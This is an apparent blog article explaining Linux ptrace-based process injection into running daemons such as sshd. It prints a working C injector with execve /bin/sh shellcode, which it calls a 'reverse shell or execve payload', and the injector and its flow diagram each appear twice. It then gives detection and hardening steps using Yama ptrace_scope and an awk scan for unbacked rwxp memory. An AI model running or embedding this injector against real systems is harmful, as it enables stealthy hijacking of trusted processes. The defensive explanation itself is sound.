July 28, 2026
Linux Process Injection via ptrace: Unmasking Memory Patching & Shared Library Hijacking
How threat actors abuse process tracing to rewrite executable instructions in volatile RAM, and how modern EDRs detect memory modification…

By Pop123
4 min read
How threat actors abuse process tracing to rewrite executable instructions in volatile RAM, and how modern EDRs detect memory modification primitives.
The Boundary of Memory Isolation: Linux relies on strict virtual address space separation between user processes. By abusing kernel process tracing (
ptrace), malware bypasses disk telemetry by injecting malicious shellcode directly into trusted, running process memory.
Process injection on Linux has evolved far beyond basic LD_PRELOAD environment variable hijacking. While LD_PRELOAD requires starting a new process or modifying system configuration files on disk, advanced threat actors target currently running, trusted system daemons (e.g., sshd, nginx, systemd).
By leveraging the ptrace() system call—originally designed for debugging utilities like gdb and strace—a malicious process can attach to a target process, halt its execution, rewrite its memory pages, and manipulate instruction registers.
In this deep dive, we break down the mechanics of
ptrace-based shellcode injection, dynamic shared object hijacking, and host detection techniques.
⚙️ Subsection 1: The ptrace() System Call & Process Memory Attach
The ptrace() system call provides a process with the capability to observe and control the execution of another process (the "tracee"), as well as examine and change the tracee's memory and registers.
[ ptrace Injection Sequence Flow ]
Attacker Process (Injector) Target Process (e.g., sshd)
│ │
├───► ptrace(PTRACE_ATTACH, pid) ─────────────────►│ (Stopped via SIGSTOP)
│ │
├───► ptrace(PTRACE_GETREGS, ®s) ───────────────►│ (Extract current RIP)
│ │
├───► ptrace(PTRACE_POKETEXT, addr, data) ─────────►│ (Overwrite memory page)
│ │
├───► ptrace(PTRACE_SETREGS, ®s) ───────────────►│ (Update RIP to shellcode)
│ │
└───► ptrace(PTRACE_DETACH, pid) ──────────────────►│ (Resume Execution) [ ptrace Injection Sequence Flow ]
Attacker Process (Injector) Target Process (e.g., sshd)
│ │
├───► ptrace(PTRACE_ATTACH, pid) ─────────────────►│ (Stopped via SIGSTOP)
│ │
├───► ptrace(PTRACE_GETREGS, ®s) ───────────────►│ (Extract current RIP)
│ │
├───► ptrace(PTRACE_POKETEXT, addr, data) ─────────►│ (Overwrite memory page)
│ │
├───► ptrace(PTRACE_SETREGS, ®s) ───────────────►│ (Update RIP to shellcode)
│ │
└───► ptrace(PTRACE_DETACH, pid) ──────────────────►│ (Resume Execution)The Injection Primitive Breakdown
- Attachment: The injector issues
ptrace(PTRACE_ATTACH, target_pid), sending aSIGSTOPsignal to pause the tracee's thread. - Register Snapshot: The injector captures the target CPU register state using
PTRACE_GETREGS. The Instruction Pointer register (%ripon x86_64) points to the exact memory address where execution was paused. - Memory Injection: The injector uses
PTRACE_POKETEXTor writes directly to/proc/<pid>/memto overwrite executable memory instructions with custom shellcode. - Instruction Hijacking: The injector modifies
%ripto point to the base address of the injected shellcode usingPTRACE_SETREGS. - Detachment: The injector calls
PTRACE_DETACH, allowing the tracee to resume execution—now running the injected malicious instructions.
🔬 Subsection 2: Shellcode Injection & RIP Register Overwriting
To inject shellcode without immediately crashing the target daemon, the injector must preserve the original instruction bytes and restore register state post-execution.
Conceptual C Injector Snippet
The following excerpt demonstrates targeting a running process to write a custom payload into executable memory:
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
// Standard x86_64 reverse shell or execve payload
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89"
"\xe6\xb0\x3b\x0f\x05";
int inject_code(pid_t target_pid) {
struct user_regs_struct regs;
// 1. Attach to target process
ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
waitpid(target_pid, NULL, 0);
// 2. Read CPU registers
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
// 3. Overwrite instruction memory at current RIP
unsigned long *src = (unsigned long *)shellcode;
unsigned long *dst = (unsigned long *)regs.rip;
for (size_t i = 0; i < sizeof(shellcode); i += 8, src++, dst++) {
ptrace(PTRACE_POKETEXT, target_pid, dst, *src);
}
// 4. Update instruction pointer and detach
ptrace(PTRACE_SETREGS, target_pid, NULL, ®s);
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 0;
}#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
// Standard x86_64 reverse shell or execve payload
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89"
"\xe6\xb0\x3b\x0f\x05";
int inject_code(pid_t target_pid) {
struct user_regs_struct regs;
// 1. Attach to target process
ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
waitpid(target_pid, NULL, 0);
// 2. Read CPU registers
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
// 3. Overwrite instruction memory at current RIP
unsigned long *src = (unsigned long *)shellcode;
unsigned long *dst = (unsigned long *)regs.rip;
for (size_t i = 0; i < sizeof(shellcode); i += 8, src++, dst++) {
ptrace(PTRACE_POKETEXT, target_pid, dst, *src);
}
// 4. Update instruction pointer and detach
ptrace(PTRACE_SETREGS, target_pid, NULL, ®s);
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 0;
}Because the memory write occurs directly in volatile RAM, disk integrity verification utilities (debsums, rpm -V) report zero modifications to binary executables on disk.
🛠️ Subsection 3: Defensive Controls: yama.ptrace_scope & Process Auditing
Defenders can implement robust kernel controls and telemetry rules to prevent and detect unauthorized process memory modification.
1. Hardening Process Tracing with Yama LSM
The Linux Kernel Security Module Yama restricts which processes can invoke ptrace(). Configure the ptrace_scope sysctl setting:
# Check current ptrace scope restriction
sysctl kernel.yama.ptrace_scope
# Enforce strict ptrace restrictions (Requires CAP_SYS_PTRACE or root)
sysctl -w kernel.yama.ptrace_scope=2# Check current ptrace scope restriction
sysctl kernel.yama.ptrace_scope
# Enforce strict ptrace restrictions (Requires CAP_SYS_PTRACE or root)
sysctl -w kernel.yama.ptrace_scope=20(Classic): A process can attach to any other process owned by the same user.1(Restricted): A process can only attach to direct child processes (e.g.,gdbspawning a process).2(Admin Only): Only processes withCAP_SYS_PTRACEcan trace target processes.3(No Ptrace): Completely disablesptracesystem calls across the OS until reboot.
2. Detecting Anomalous Memory Regions (/proc/<pid>/maps)
Inspect target process memory maps for executable memory pages (rwxp) that are unbacked by on-disk shared libraries:
# Find writable and executable memory regions unbacked by files on disk
awk '$2 ~ /rwxp/ && $6 == "" {print $0}' /proc/*/maps# Find writable and executable memory regions unbacked by files on disk
awk '$2 ~ /rwxp/ && $6 == "" {print $0}' /proc/*/maps🧠 Strategic Takeaway
Trusted processes can be corrupted in memory.
Disk-based integrity checks cannot detect memory-only process patching. Restricting ptrace_scope at the kernel level and continuously auditing process memory maps for unbacked executable (rwxp) pages are mandatory defenses against volatile injection techniques.
📈 Master the Art of System Forensics & Threat Intelligence
Generic training completely collapses when sophisticated threat groups deploy obfuscated payloads or when complex model architectures break in production.
To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:
- Follow Pop123 on Medium for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.
- Explore my Cybersecurity and Machine Learning Projects on GitHub.
- Subscribe to direct email updates by clicking the envelope icon (✉️) right next to the follow button so these critical tactical breakdowns land straight in your inbox.
Thank you for reading! This article was entirely written by Pop. Consider leaving a clap and sharing your thoughts or questions in the responses below — I am as always open to discussing these topics in the comments! Feel free anytime.